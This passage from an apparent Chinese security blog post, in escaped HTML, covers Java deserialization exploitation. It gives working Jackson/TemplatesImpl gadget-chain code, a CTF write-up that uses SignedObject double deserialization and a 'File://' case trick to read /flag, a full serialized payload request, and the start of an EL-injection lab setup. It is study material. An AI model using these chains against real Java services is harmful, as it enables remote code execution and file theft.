src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-215436-4-18.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>Java\u5728<code>writeObject<\/code>\u5e8f\u5217\u5316\u7684\u65f6\u5019\uff0c\u5982\u679c\u5e8f\u5217\u5316\u7684\u7c7b\u5b9e\u73b0\u4e86<code>writeReplace<\/code>\u65b9\u6cd5\uff0c\u5c31\u4f1a\u8c03\u7528\u5e76\u505a\u68c0\u67e5\uff0c\u800c\u6211\u4eec\u7684 <code>BaseJsonNode<\/code>\u6070\u597d\u5c31\u5b9e\u73b0\u4e86\u8fd9\u4e2a<code>writeReplace<\/code>\uff0c\u89e3\u51b3\u529e\u6cd5\u5c31\u662f\u76f4\u63a5\u53bb\u628a\u4ed6\u5220\u4e86\uff0c\u8fd9\u91cc\u53ef\u4ee5\u76f4\u63a5\u5728\u539f\u672c\u7684\u4ee3\u7801\u91cc\u52a0\u4e00\u53e5\u8fd9\u4e2a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>try {\n            ClassPool pool = ClassPool.getDefault();\n            CtClass jsonNode = pool.get(\"com.fasterxml.jackson.databind.node.BaseJsonNode\");\n            CtMethod writeReplace = jsonNode.getDeclaredMethod(\"writeReplace\");\n            jsonNode.removeMethod(writeReplace);\n            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n            jsonNode.toClass(classLoader, null);\n        } catch (Exception e) {\n}<\/code><\/pre>\n\n\n\n<p>\u5b8c\u6574\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com;\n\nimport com.fasterxml.jackson.databind.node.POJONode;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport javassist.CtMethod;\n\nimport javax.management.BadAttributeValueExpException;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\n\npublic class AliyunBypassIt {\n\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n\n        try {\n            ClassPool pool = ClassPool.getDefault();\n            CtClass jsonNode = pool.get(\"com.fasterxml.jackson.databind.node.BaseJsonNode\");\n            CtMethod writeReplace = jsonNode.getDeclaredMethod(\"writeReplace\");\n            jsonNode.removeMethod(writeReplace);\n            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n            jsonNode.toClass(classLoader, null);\n        } catch (Exception e) {\n        }\n\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\shiroTest\");\n        CtClass clazzz = pool.get(\"EvilTest\");\n        byte&#91;] code = clazzz.toBytecode();\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates, \"_bytecodes\", new byte&#91;]&#91;]{code});\n        setFieldValue(templates, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(templates, \"_tfactory\", new TransformerFactoryImpl());\n\n        POJONode node = new POJONode(templates);\n        BadAttributeValueExpException val = new BadAttributeValueExpException(null);\n        setFieldValue(val, \"val\", node);\n\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(val);\n        oos.close();\n\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-221552-4-19.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-221552-4-19.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:791px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316\uff082023\u5dc5\u5cf0\u6781\u5ba2 BabyURL\uff09<\/h1>\n\n\n\n<p>\u8fd9\u91cc\u7528\u4e00\u4e0b\u5927\u5934\u54e5\u7684\u9644\u4ef6\uff1a<a href=\"https:\/\/www.yuque.com\/attachments\/yuque\/0\/2023\/zip\/28160573\/1689934091638-4a2e9513-6170-4d11-819e-1ff4c4a80322.zip\">https:\/\/www.yuque.com\/attachments\/yuque\/0\/2023\/zip\/28160573\/1689934091638-4a2e9513-6170-4d11-819e-1ff4c4a80322.zip<\/a><\/p>\n\n\n\n<p>\u5f53\u5e74\u8fd9\u9053\u9898\u80fd\u76f4\u63a5\u7528Bypassit1\u91cc\u90a3\u6761\u539f\u751f\u7684Jackson\u53cd\u5e8f\u5217\u5316\u94fe\u5b50\u6253\u901a\uff0c\u4e0d\u8fc7\u5e94\u8be5\u4e0d\u662f\u9884\u671f\u89e3\uff0c\u9884\u671f\u89e3\u662f\u5229\u7528SignedObject\u5b9e\u73b0\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316\u7ed5\u8fc7\u9ed1\u540d\u5355\u3002<\/p>\n\n\n\n<p>\u9996\u5148\u53ef\u4ee5\u770b\u5230\u4e00\u4e2a\u5f88\u660e\u663e\u7684\u53cd\u5e8f\u5217\u5316\u63a5\u53e3\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-224109-14-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-224109-14-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u4e0d\u8fc7\u8fd9\u91cc\u5b83\u662f\u81ea\u5df1\u5b9e\u73b0\u7684\u5bf9\u8c61\u8f93\u5165\u6d41\uff0c\u505a\u4e86\u4e00\u4e9b\u8fc7\u6ee4\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-234652-14-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-234652-14-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code> protected Class&lt;?&gt; resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {\n        String className = desc.getName();\n        String&#91;] denyClasses = new String&#91;]{\"java.net.InetAddress\", \"org.apache.commons.collections.Transformer\", \"org.apache.commons.collections.functors\", \"com.yancao.ctf.bean.URLVisiter\", \"com.yancao.ctf.bean.URLHelper\"};\n        String&#91;] var4 = denyClasses;\n        int var5 = denyClasses.length;\n\n        for(int var6 = 0; var6 &lt; var5; ++var6) {\n            String denyClass = var4&#91;var6];\n            if (className.startsWith(denyClass)) {\n                throw new InvalidClassException(\"Unauthorized deserialization attempt\", className);\n            }\n        }\n\n        return super.resolveClass(desc);\n    }<\/code><\/pre>\n\n\n\n<p>\u5e76\u4e14\u53cd\u5e8f\u5217\u5316\u5165\u53e3\u662f\u81ea\u5df1\u5b9e\u73b0\u7684\uff0c\u8fd9\u4e2aURLHelper\uff0c\u53ef\u60dc\u8fdb\u4e86\u9ed1\u540d\u5355\uff0c\u4f5c\u7528\u5927\u6982\u5c31\u662f\u5728\u5bf9\u8c61\u88ab\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\uff0c\u8bbf\u95ee\u4e00\u4e2a URL\uff0c\u5e76\u628a\u8bbf\u95ee\u7ed3\u679c\u5199\u5165 <code>\/tmp\/file<\/code> \u6587\u4ef6\u4e2d\u3002\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-234929-14-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-234929-14-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:718px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u8bbf\u95ee\u505a\u4e86\u4e00\u4e2a\u5c0f\u6821\u9a8c\uff0c\u4e0d\u8fc7\u6211\u4eec\u53ea\u9700\u8981\u7528\u5927\u5c0f\u5199\u5c31\u80fd\u7ed5\u8fc7\u4e86\uff08FILE:\/\/\uff09\uff0c\u7b80\u5355\u6765\u8bf4\u662f\u4e00\u4e2a\u4efb\u610f\u6587\u4ef6\u8bfb\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-235623-14-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-235623-14-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:727px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4e0a\u9762\u7684\u4e1c\u897f\u90fd\u8fdb\u4e86\u9ed1\u540d\u5355\uff0c\u6240\u4ee5\u6253\u6cd5\u5c31\u662f\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316\u7ed5\u8fc7\u7b2c\u4e00\u6b21\u53cd\u5e8f\u5217\u5316\u68c0\u9a8c\u91cc\u7684\u9ed1\u540d\u5355\uff0c\u5229\u7528<code>SignObject#getObject<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-235325-14-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250514-235325-14-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:709px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u90a3\u4e48\u5982\u4f55\u8c03\u7528getObject\u5462\uff1f\u90a3\u5f53\u7136\u662f\u7ecf\u5178\u7684getter\u4e86\uff0c\u5f53\u65f6\u4f9d\u8d56\u91cc\u6709jackson\uff0c\u5229\u7528jackson\u91cc\u7684BaseJsonNode\u89e6\u53d1getter\uff0c\u6253\u6cd5\u6709\u70b9\u7c7b\u4f3c\uff0c\u5229\u7528<code>BadAttributeValueExpException#readObject<\/code>\u89e6\u53d1<code>POJONode#toString<\/code>\u63a5\u7740\u89e6\u53d1getter\u3002<\/p>\n\n\n\n<p>\u63d0\u53d6\u4f9d\u8d56\u7684\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># \u89e3\u538b jar\nmkdir tmp &amp;&amp; cd tmp\njar xf ..\/ctf-0.0.1-SNAPSHOT.jar\n\n# \u8fdb\u5165 BOOT-INF\/classes \u76ee\u5f55\ncd BOOT-INF\/classes\n\n# \u91cd\u65b0\u6253\u4e00\u4e2a\u6807\u51c6 jar\njar cf ..\/..\/..\/ctf-lib.jar .<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import com.fasterxml.jackson.databind.node.POJONode;\nimport com.yancao.ctf.bean.URLHelper;\nimport com.yancao.ctf.bean.URLVisiter;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport javassist.CtMethod;\n\nimport javax.management.BadAttributeValueExpException;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.security.*;\nimport java.util.Base64;\n\npublic class BabyUrl {\n\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        URLHelper handler = new URLHelper(\"File:\/\/\/flag\");\n        handler.visiter = new URLVisiter();\n\n        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(\"DSA\");\n        keyPairGenerator.initialize(1024);\n        KeyPair keyPair = keyPairGenerator.genKeyPair();\n        PrivateKey privateKey = keyPair.getPrivate();\n        Signature signingEngine = Signature.getInstance(\"DSA\");\n        SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);\n\n        try {\n            ClassPool pool = ClassPool.getDefault();\n            CtClass jsonNode = pool.get(\"com.fasterxml.jackson.databind.node.BaseJsonNode\");\n            CtMethod writeReplace = jsonNode.getDeclaredMethod(\"writeReplace\");\n            jsonNode.removeMethod(writeReplace);\n            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n            jsonNode.toClass(classLoader, null);\n        } catch (Exception e) {\n        }\n\n        POJONode node = new POJONode(signedObject);\n        BadAttributeValueExpException val = new BadAttributeValueExpException(null);\n\n        setFieldValue(val, \"val\", node);\n\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baos);\n        oos.writeObject(val);\n        oos.close();\n        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7528\u5934\u54e5\u7684\u73af\u5883\u8d77\u4e00\u4e2a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin\/dfjk2023_babyurl<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u76f4\u63a5\u7528chmod 777 \/flag\u4e86\uff08\u6ce8\u610fpayload\u9700\u8981url\u7f16\u7801\uff0c\u5728cyberchef\u91cc\u9009encode all special chars\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/hack?payload=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAALXQAB0JhYnlVcmx0AAxCYWJ5VXJsLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0%2FA8lMbXsjhACAAFMAARsaXN0cQB%2BAAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXEAfgABeHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzcgAaamF2YS5zZWN1cml0eS5TaWduZWRPYmplY3QJ%2F71oKjzV%2FwIAA1sAB2NvbnRlbnR0AAJbQlsACXNpZ25hdHVyZXEAfgAbTAAMdGhlYWxnb3JpdGhtcQB%2BAAV4cHVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAC4rO0ABXNyAB1jb20ueWFuY2FvLmN0Zi5iZWFuLlVSTEhlbHBlcgAAAAAAAAABAgACTAADdXJsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAHdmlzaXRlcnQAIExjb20veWFuY2FvL2N0Zi9iZWFuL1VSTFZpc2l0ZXI7eHB0AAxGaWxlOi8vL2ZsYWdzcgAeY29tLnlhbmNhby5jdGYuYmVhbi5VUkxWaXNpdGVyTECyy3jST0ACAAB4cHVxAH4AHQAAAC8wLQIVAIGev89CFNeOEwvxshHxaoduhvEHAhRywqBatdVYYiAdDKuZ3djtwWkT%2FXQAA0RTQQ%3D%3D HTTP\/1.1\nHost: localhost:12345\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko\/20100101 Firefox\/138.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate, br\nConnection: close\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-012740-14-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-012740-14-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u8868\u8fbe\u5f0f\u6ce8\u5165<\/h1>\n\n\n\n<p>\u53c2\u8003<a href=\"https:\/\/evo1ution.cn\/2024\/05\/09\/java-el\/\">evo1ution<\/a>\u4ee5\u53ca\u8fd9\u4e2a<a href=\"https:\/\/www.bilibili.com\/video\/BV1ZF411G7eP\/?spm_id_from=333.337.search-card.all.click&amp;vd_source=16cf8e1b1425f8796a66156a5cdc0fd6\">\u9ed1\u9a6cSpringMVC\u6559\u7a0b\u5168\u5957\u89c6\u9891\u6559\u7a0b<\/a>\u7684\u5165\u95e8\u6848\u4f8b\u672c\u5730\u642d\u4e86\u4e00\u4e2a\u670d\u52a1\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">EL\u8868\u8fbe\u5f0f<\/h2>\n\n\n\n<p>EL \u8868\u8fbe\u5f0f\uff08<strong>Expression Language<\/strong>\uff0c\u8868\u8fbe\u5f0f\u8bed\u8a00\uff09\u662f Java EE\uff08\u4e3b\u8981\u5728 JSP \u548c JSF \u4e2d\uff09\u5f15\u5165\u7684\u4e00\u79cd\u7b80\u6d01\u8bed\u6cd5\uff0c\u7528\u6765<strong>\u8bbf\u95ee\u6570\u636e\u3001\u8c03\u7528\u65b9\u6cd5\u3001\u8fdb\u884c\u7b80\u5355\u903b\u8f91\u8fd0\u7b97<\/strong>\u3002\u5e38\u89c1\u4e8e JSP \u9875\u9762\uff0c\u7528 <code>${}<\/code> \u5305\u88f9\u8868\u8fbe\u5f0f\u3002<\/p>\n\n\n\n<p>maven\u91cc\u52a0\u4e2a\u914d\u7f6e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;dependency&gt;\n      &lt;groupId&gt;junit&lt;\/groupId&gt;\n      &lt;artifactId&gt;junit&lt;\/artifactId&gt;\n      &lt;version&gt;3.8.1&lt;\/version&gt;\n      &lt;scope&gt;test&lt;\/scope&gt;\n &lt;\/dependency&gt;<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5237\u65b0\u4e00\u4e0b\uff0ccontroller\u91cc\u52a0\u4e00\u4e2a\u7b80\u5355\u7684\u6d4b\u8bd5\u7c7b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.itheima.controller;\n\npublic class ELFunc {\n    public static String doSomething(String string) {\n        return \"Hello \" + string + \" !\";\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5728<code>WEB-INF<\/code>\u76ee\u5f55\u4e0b\u521b\u5efa<code>test.tld<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;taglib version=\"2.0\" xmlns=\"http:\/\/java.sun.com\/xml\/ns\/j2ee\"\n        xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"\n        xsi:schemaLocation=\"http:\/\/java.sun.com\/xml\/ns\/j2ee http:\/\/java.sun.com\/xml\/ns\/j2ee\/web-jsptaglibrary_2_0.xsd\"&gt;\n    &lt;tlib-version&gt;1.0&lt;\/tlib-version&gt;\n    &lt;short-name&gt;ELFunc&lt;\/short-name&gt;\n    &lt;uri&gt;http:\/\/localhost:8080\/springmvc_01_quickstart_war\/ELFunc&lt;\/uri&gt;\n    &lt;function&gt;\n        &lt;name&gt;doSomething&lt;\/name&gt;\n        &lt;function-class&gt;com.itheima.controller.ELFunc&lt;\/function-class&gt;\n        &lt;function-signature&gt; java.lang.String doSomething(java.lang.String)&lt;\/function-signature&gt;\n    &lt;\/function&gt;\n&lt;\/taglib&gt;<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u5728webapp\u76ee\u5f55\u521b\u4e00\u4e2aeltest.jsp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;%@ page contentType=\"text\/html;charset=UTF-8\" language=\"java\" %&gt;\n&lt;%@ page isELIgnored=\"false\" %&gt; &lt;%-- \u8fd9\u91cc\u662f\u5f00\u542fEL\u8868\u8fbe\u5f0f --%&gt;\n&lt;%@taglib uri=\"http:\/\/localhost:8080\/springmvc_01_quickstart_war\/ELFunc\" prefix=\"ELFunc\"%&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;ElTest&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n${ELFunc:doSomething(\"fushuling\")}\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n\n\n\n<p>\u5177\u4f53\u8bed\u6cd5\u53c2\u8003\u8fd9\u4e2a<a href=\"https:\/\/xz.aliyun.com\/news\/7287\">\u6d45\u6790EL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e<\/a>\uff0c\u53cd\u6b63\u7ecf\u8fc7\u4e0a\u9762\u7684\u4e00\u901a\u64cd\u4f5c\uff0c\u4f60\u8bbf\u95ee<a 